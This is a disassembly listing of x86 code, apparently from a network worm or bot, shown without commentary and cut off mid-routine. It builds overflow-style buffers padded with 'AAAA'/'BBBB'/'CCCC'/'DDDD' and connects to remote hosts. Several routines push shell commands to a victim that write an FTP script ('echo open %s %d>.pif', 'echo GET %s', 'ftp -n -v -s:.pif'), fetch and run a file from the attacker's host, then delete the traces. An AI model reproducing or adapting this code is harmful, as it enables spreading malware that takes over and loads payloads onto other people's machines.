		mov	ebp, ecx
		mov	eax, [ebp+4]
		mov	ecx, [ebp+0]
		push	eax
		push	ecx
		push	1
		push	offset dword_448F34
		lea	ecx, [esp+20h+var_8]
		call	sub_4021F8
		lea	ecx, [esp+10h+var_8]
		call	sub_4010A0
		mov	edx, [esp+10h+var_4]
		inc	edx
		push	edx
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424715
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424715:				; CODE XREF: sub_4246D0+3Bj
		mov	eax, [esp+10h+var_4]
		push	esi
		push	edi
		mov	edi, ebx
		lea	ecx, [eax+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	byte ptr [ebx],	3
		mov	ecx, [esp+18h+var_4]
		mov	esi, [esp+18h+var_8]
		mov	eax, ecx
		lea	edi, [ebx+1]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, ebp
		call	sub_4016C2
		mov	ecx, [esp+18h+var_4]
		mov	[ebp+0], ebx
		inc	ecx
		mov	[ebp+4], ecx
		lea	ecx, [esp+18h+var_8]
		call	sub_4016C2
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 8
		retn
sub_4246D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4247B0	proc near		; CODE XREF: sub_4012C6j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		mov	edx, [esi+4]
		mov	eax, [esi]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021F8
		mov	ecx, esi
		call	sub_4016C2
		mov	ecx, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_4]
		mov	[esi], ecx
		mov	[esi+4], edx
		mov	al, 1
		pop	esi
		add	esp, 8
		retn	8
sub_4247B0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424800	proc near		; CODE XREF: sub_402054j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	edx, ecx
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	esi
		mov	ecx, edx
		call	sub_4012C6
		pop	edi
		pop	esi
		retn	4
sub_424800	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424840	proc near		; CODE XREF: sub_401505j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	eax
		push	edx
		call	sub_4012C6
		retn	8
sub_424840	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424870	proc near		; CODE XREF: sub_4017D5j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		call	sub_4010A0
		test	al, al
		jnz	short loc_424884
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424884:				; CODE XREF: sub_424870+Dj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	eax
		push	ecx
		push	1
		push	offset dword_445C0C
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021F8
		mov	ecx, esi
		call	sub_4016C2
		mov	edx, [esp+0Ch+var_8]
		mov	eax, [esp+0Ch+var_4]
		mov	[esi], edx
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		add	esp, 8
		retn
sub_424870	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4248E0	proc near		; CODE XREF: sub_401EC9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401505
		test	al, al
		jnz	short loc_4248FC
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_4248FC:				; CODE XREF: sub_4248E0+16j
		mov	ecx, esi
		call	sub_4017D5
		pop	esi
		retn	8
sub_4248E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424920	proc near		; CODE XREF: sub_401BFEj

var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 858h
		lea	ecx, [esp+858h+var_818]
		push	ebx
		push	esi
		call	sub_4012A8
		mov	esi, [esp+860h+arg_8]
		cmp	esi, 408h
		jg	loc_424CF5
		mov	ebx, [esp+860h+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, 408h
		ja	loc_424CF5
		push	edi
		lea	ecx, [esp+864h+var_830]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_840]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_810]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_848]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_820]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_828]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_838]
		call	sub_4012A8
		push	4
		push	offset dword_4458A8
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		push	3
		push	offset dword_4458B0
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_830]
		call	sub_401B7C
		lea	ecx, [esp+864h+var_830]
		call	sub_4017D5
		mov	ecx, 200h
		mov	eax, 42424242h
		lea	edi, [esp+864h+var_800]
		push	8
		rep stosd
		push	offset aRbrbrbrb ; "BBBB"
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_C]
		push	ebx
		push	ecx
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ebx, [esp+864h+var_83C]
		mov	edx, 409h
		sub	edx, ebx
		lea	eax, [esp+864h+var_800]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_840]
		call	sub_401B7C
		push	offset loc_445C30
		lea	ecx, [esp+868h+var_810]
		call	sub_402054
		lea	ecx, [esp+864h+var_810]
		call	sub_401B7C
		mov	ecx, 200h
		mov	eax, 44444444h
		lea	edi, [esp+864h+var_800]
		push	410h
		rep stosd
		lea	ecx, [esp+868h+var_800]
		push	ecx
		lea	ecx, [esp+86Ch+var_808]
		call	sub_401843
		lea	ecx, [esp+864h+var_808]
		call	sub_401B7C
		mov	edx, [esp+864h+var_804]
		mov	eax, [esp+864h+var_808]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_810]
		call	sub_401EC9
		lea	ecx, [esp+864h+var_808]
		call	sub_4016C2
		mov	ecx, 200h
		mov	eax, 43434343h
		lea	edi, [esp+864h+var_800]
		push	offset aCccc	; "CCCC"
		rep stosd
		lea	ecx, [esp+868h+var_848]
		call	sub_402054
		push	4
		push	offset dword_4458B4
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_4]
		push	esi
		push	ecx
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	edx, 408h
		lea	eax, [esp+864h+var_800]
		sub	edx, esi
		lea	ecx, [esp+864h+var_848]
		push	edx
		push	eax
		call	sub_4012C6
		lea	ecx, [esp+864h+var_848]
		call	sub_401B7C
		mov	ecx, [esp+864h+var_844]
		mov	edx, [esp+864h+var_848]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_401505
		mov	eax, [esp+864h+var_80C]
		mov	ecx, [esp+864h+var_810]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_401505
		lea	ecx, [esp+864h+var_820]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_848]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_810]
		call	sub_4016C2
		mov	edx, [esp+864h+var_83C]
		mov	eax, [esp+864h+var_840]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		mov	ecx, [esp+864h+var_82C]
		mov	edx, [esp+864h+var_830]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		mov	eax, [esp+864h+var_81C]
		mov	ecx, [esp+864h+var_820]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		lea	ecx, [esp+864h+var_828]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_840]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_830]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_820]
		call	sub_4016C2
		mov	ecx, 200h
		mov	eax, 41414141h
		lea	edi, [esp+864h+var_800]
		lea	edx, [esp+864h+var_800]
		rep stosd
		push	400h
		push	edx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_838]
		call	sub_401B7C
		push	2
		push	offset dword_445C24
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		mov	eax, [esp+864h+var_824]
		mov	ecx, [esp+864h+var_828]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_401505
		lea	ecx, [esp+864h+var_838]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_828]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_850]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_858]
		call	sub_4012A8
		mov	edx, [esp+864h+var_834]
		mov	eax, [esp+864h+var_838]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_850]
		call	sub_401505
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_838]
		call	sub_4016C2
		push	offset dword_445C20
		lea	ecx, [esp+868h+var_858]
		call	sub_402054
		mov	ecx, [esp+864h+var_84C]
		mov	edx, [esp+864h+var_850]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_858]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016C2
		push	offset dword_444E68
		lea	ecx, [esp+868h+var_850]
		call	sub_402054
		mov	eax, [esp+864h+var_854]
		mov	ecx, [esp+864h+var_858]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_850]
		call	sub_401505
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_858]
		call	sub_4016C2
		push	offset dword_445C14
		lea	ecx, [esp+868h+var_858]
		call	sub_402054
		mov	edx, [esp+864h+var_84C]
		mov	eax, [esp+864h+var_850]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_858]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016C2
		push	offset dword_445C10
		lea	ecx, [esp+868h+var_818]
		call	sub_402054
		mov	ecx, [esp+864h+var_854]
		mov	edx, [esp+864h+var_858]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_818]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4016C2
		mov	eax, [esp+864h+arg_0]
		mov	ecx, [esp+864h+var_818]
		mov	edx, [esp+864h+var_814]
		pop	edi
		mov	[eax], ecx
		pop	esi
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
; ---------------------------------------------------------------------------


loc_424CF5:				; CODE XREF: sub_424920+1Ej
					; sub_424920+33j
		mov	eax, [esp+860h+arg_0]
		mov	ecx, [esp+860h+var_818]
		mov	edx, [esp+860h+var_814]
		pop	esi
		mov	[eax], ecx
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
sub_424920	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424E20	proc near		; CODE XREF: sub_401AC8j

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 210h
		push	esi
		mov	esi, [esp+214h+arg_0]
		lea	eax, [esp+214h+var_210]
		lea	ecx, [esp+214h+var_104]
		push	eax
		push	ecx
		lea	edx, [esp+21Ch+var_208]
		push	0
		lea	eax, [esi+1]
		push	edx
		push	eax
		mov	[esp+228h+var_204], esi
		mov	[esp+228h+var_208], 1
		mov	[esp+228h+var_100], esi
		mov	[esp+228h+var_104], 1
		mov	[esp+228h+var_210], 0Ah
		mov	[esp+228h+var_20C], 0
		call	near ptr 71AB2DC0h
		nop
		cmp	eax, 1
		jz	short loc_424E89
		xor	eax, eax
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424E89:				; CODE XREF: sub_424E20+5Dj
		lea	ecx, [esp+214h+var_208]
		push	ecx
		push	esi
		call	sub_438256
sub_424E20	endp

; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_424EA0
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424EA0:				; CODE XREF: ___:00424E96j
		mov	edx, [esp+224h]
		mov	eax, [esp+220h]
		mov	ecx, [esp+21Ch]
		push	edx
		push	eax
		push	ecx
		push	esi
		call	near ptr 71AB615Ah
		nop
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424F00	proc near		; CODE XREF: sub_4012F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_8]
		push	edi
		push	esi
		nop
		call	near ptr 71AB2BC0h
		mov	edi, [esp+0Ch+arg_0]
		mov	ebx, dword_511CA0
		mov	[esp+0Ch+arg_8], eax
		push	0
		lea	eax, [esp+10h+arg_8]
		push	4
		push	eax
		push	edi
		call	ebx	; send
		cmp	eax, 4
		jz	short loc_424F33
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424F33:				; CODE XREF: sub_424F00+2Bj
		mov	ecx, [esp+0Ch+arg_4]
		push	0
		push	esi
		push	ecx
		push	edi
		call	ebx	; send
		xor	edx, edx
		cmp	eax, esi
		setz	dl
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		retn
sub_424F00	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424F70	proc near		; CODE XREF: sub_4012F8j

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 104h
		push	ebx
		push	ebp
		mov	ebp, [esp+10Ch+arg_8]
		push	esi
		lea	esi, [ebp+41h]
		push	esi
		mov	[esp+114h+var_104], esi
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424FA3
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424FA3:				; CODE XREF: sub_424F70+25j
		mov	ecx, esi
		push	edi
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		mov	esi, offset dword_445944
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	85h
		and	ecx, 3
		push	offset dword_4458BC
		rep stosb
		mov	ecx, 0Bh
		mov	edi, ebx
		rep movsd
		movsw
		movsb
		mov	[ebx+2Fh], bp
		mov	eax, dword_445974
		mov	[ebx+31h], eax
		mov	ecx, dword_445978
		mov	esi, [esp+11Ch+arg_4]
		mov	[ebx+35h], ecx
		mov	ecx, ebp
		lea	eax, [ebx+3Bh]
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		mov	[ebx+39h], bp
		add	eax, ebp
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, dword_510100
		mov	esi, [esp+11Ch+arg_0]
		mov	[eax], ecx
		mov	dx, word_510104
		push	esi
		mov	[eax+4], dx
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		pop	edi
		jnz	short loc_425048
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_425048:				; CODE XREF: sub_424F70+C0j
		push	0
		lea	eax, [esp+114h+var_100]
		push	100h
		push	eax
		push	esi
		call	sub_401AC8
		mov	ecx, [esp+120h+var_104]
		push	ecx
		push	ebx
		push	esi
		call	sub_4012F3
		add	esp, 1Ch
		test	al, al
		jnz	short loc_425083
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_425083:				; CODE XREF: sub_424F70+FBj
		push	0
		lea	edx, [esp+114h+var_100]
		push	100h
		push	edx
		push	esi
		call	sub_401AC8
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 14h
		mov	al, 1
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
sub_424F70	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425100	proc near		; CODE XREF: sub_401820j

var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= word ptr -418h
var_416		= dword	ptr -416h
var_412		= dword	ptr -412h
var_40E		= dword	ptr -40Eh
var_40A		= word ptr -40Ah
var_408		= dword	ptr -408h
var_400		= byte ptr -400h
var_3FF		= byte ptr -3FFh
var_371		= byte ptr -371h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_9E		= dword	ptr  0A2h

		sub	esp, 420h
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [esp+42Ch+var_3FF]
		rep stosd
		stosw
		stosb
		mov	ecx, 23h
		mov	esi, offset sub_445AE8
		lea	edi, [esp+42Ch+var_400]
		rep movsd
		movsw
		mov	ecx, offset byte_449511
		movsb
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_449511
		call	sub_4017EE
		mov	ecx, [esp+430h+arg_0]
		push	eax
		mov	eax, dword_44964F
		push	eax
		push	ecx
		call	sub_401E10
		add	esp, 4
		lea	edx, [esp+438h+var_371]
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		push	400h
		push	edx
		nop
		call	near ptr 77C3FA76h
		add	eax, 90h
		lea	ecx, [esp+448h+var_408]
		push	eax
		lea	eax, [esp+44Ch+var_400]
		push	eax
		push	164h
		push	offset sub_445980
		push	ecx
		call	sub_401BFE
		mov	edx, [eax]
		xor	edi, edi
		mov	[esp+45Ch+var_420], edx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, edi
		mov	[esp+42Ch+var_41C], eax
		jnz	short loc_4251B2
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 420h
		retn
; ---------------------------------------------------------------------------


loc_4251B2:				; CODE XREF: sub_425100+A4j
		mov	ebp, dword_511C38
		mov	[esp+42Ch+var_408], edi


loc_4251BC:				; CODE XREF: sub_425100+161j
		test	edi, edi
		jnz	loc_425267
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42524A
		mov	ecx, [esp+42Ch+arg_9E]
		xor	eax, eax
		mov	[esp+42Ch+var_416], eax
		push	ecx
		mov	[esp+430h+var_412], eax
		mov	[esp+430h+var_418], 2
		mov	[esp+430h+var_40E], eax
		mov	[esp+430h+var_40A], ax
		call	ebp	; ntohs
		lea	edx, [esp+42Ch+arg_4]
		mov	word ptr [esp+42Ch+var_416], ax
		push	edx
		nop
		call	near ptr 71AB2BF4h
		mov	[esp+42Ch+var_416+2], eax
		lea	eax, [esp+42Ch+var_418]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42523F
		mov	ecx, [esp+42Ch+var_41C]
		mov	edx, [esp+42Ch+var_420]
		push	ecx
		push	edx
		push	esi
		call	sub_4012F8
		add	esp, 0Ch
		and	eax, 0FFh
		mov	edi, eax


loc_42523F:				; CODE XREF: sub_425100+123j
		push	esi
		call	near ptr 71AB9639h
		nop
		test	edi, edi
		jnz	short loc_425255


loc_42524A:				; CODE XREF: sub_425100+D5j
		push	3E8h
		nop
		call	near ptr 2841E5Ch


loc_425255:				; CODE XREF: sub_425100+148j
		mov	eax, [esp+42Ch+var_408]
		inc	eax
		cmp	eax, 2
		mov	[esp+42Ch+var_408], eax
		jl	loc_4251BC


loc_425267:				; CODE XREF: sub_425100+BEj
		lea	ecx, [esp+42Ch+var_420]
		call	sub_4016C2
		test	edi, edi
		jz	short loc_425297
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+4E8h+arg_0]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_425297:				; CODE XREF: sub_425100+172j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebp
		add	esp, 420h
		retn
sub_425100	endp

; ---------------------------------------------------------------------------
aRrrrrrrrrr	db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌé',1Bh,0
		align 4
		dd 90909000h, 2	dup(90909090h),	4 dup(0CCCCCCCCh), 0BB8068h
		dd 2EE06800h, 77E80000h, 83FFFDCEh, 8A308C4h, 0C3005101h
		dd 2 dup(90909090h), 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_425370	proc near		; CODE XREF: sub_4013D4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		push	0C8h
		call	near ptr 2841E5Ch
		nop
		mov	edx, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		mov	eax, [esp+4+arg_0]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		pop	edi
		setnz	al
		retn
sub_425370	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4253C0	proc near		; CODE XREF: sub_4013BBj

var_434		= byte ptr -434h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4253C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 428h
		xor	eax, eax
		push	ebx
		mov	[esp+438h+var_41C], eax
		push	esi
		mov	[esp+43Ch+var_418], eax
		lea	ecx, [esp+43Ch+arg_4]
		push	edi
		mov	[esp+440h+var_414], eax
		push	ecx
		mov	[esp+444h+var_410], eax
		mov	word ptr [esp+444h+var_41C], 2
		nop
		call	near ptr 71AB2BF4h
		mov	dx, word_510108
		mov	[esp+440h+var_418], eax
		push	edx
		call	near ptr 71AB2B66h
		nop
		push	0
		push	1
		push	2
		mov	word ptr [esp+44Ch+var_41C+2], ax
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		or	ebx, 0FFFFFFFFh
		cmp	esi, ebx
		jz	loc_4256BE
		lea	eax, [esp+440h+var_41C]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, ebx
		jz	loc_4256BE
		mov	edi, dword_511CA4
		push	0
		lea	ecx, [esp+444h+var_40C]
		push	400h
		push	ecx
		push	esi
		call	edi	; recv
		lea	ecx, [esp+440h+var_434]
		call	sub_40142E
		mov	edx, dword_44964F
		mov	eax, [esp+440h+arg_0]
		push	edx
		push	eax
		mov	[esp+448h+var_4], 0
		call	sub_401E10
		add	esp, 4
		lea	ecx, [esp+444h+var_434]
		push	eax
		push	offset aEchoOpenSD_pif ; "echo open %s %d>.pif \r\n"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoUserAA_pif ; "echo user a a>>.pif \r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEchoBinary_pif ; "echo binary>>.pif \r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+444h+var_434]
		push	offset aEchoGetS_pif ; "echo GET %s>>.pif \r\n"
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoBye_pif ; "echo bye>>.pif \r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEcho@echoOffC_ ; "echo @echo off >c.bat\r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	ecx, [esp+440h+var_434]
		push	offset aEchoFtpNVS_pif ; "echo ftp -n -v -s:.pif >>c.bat\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		lea	edx, [esp+444h+var_434]
		push	offset aEchoSC_bat ; "echo %s >>c.bat\r\n"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEchoDel_pifC_b ; "echo del .pif	>>c.bat\r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	ecx, [esp+440h+var_434]
		push	offset aEchoDelFC_batC ; "echo del /F c.bat >>c.bat\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoExitYC_bat ; "echo exit /y >>c.bat\r\n"
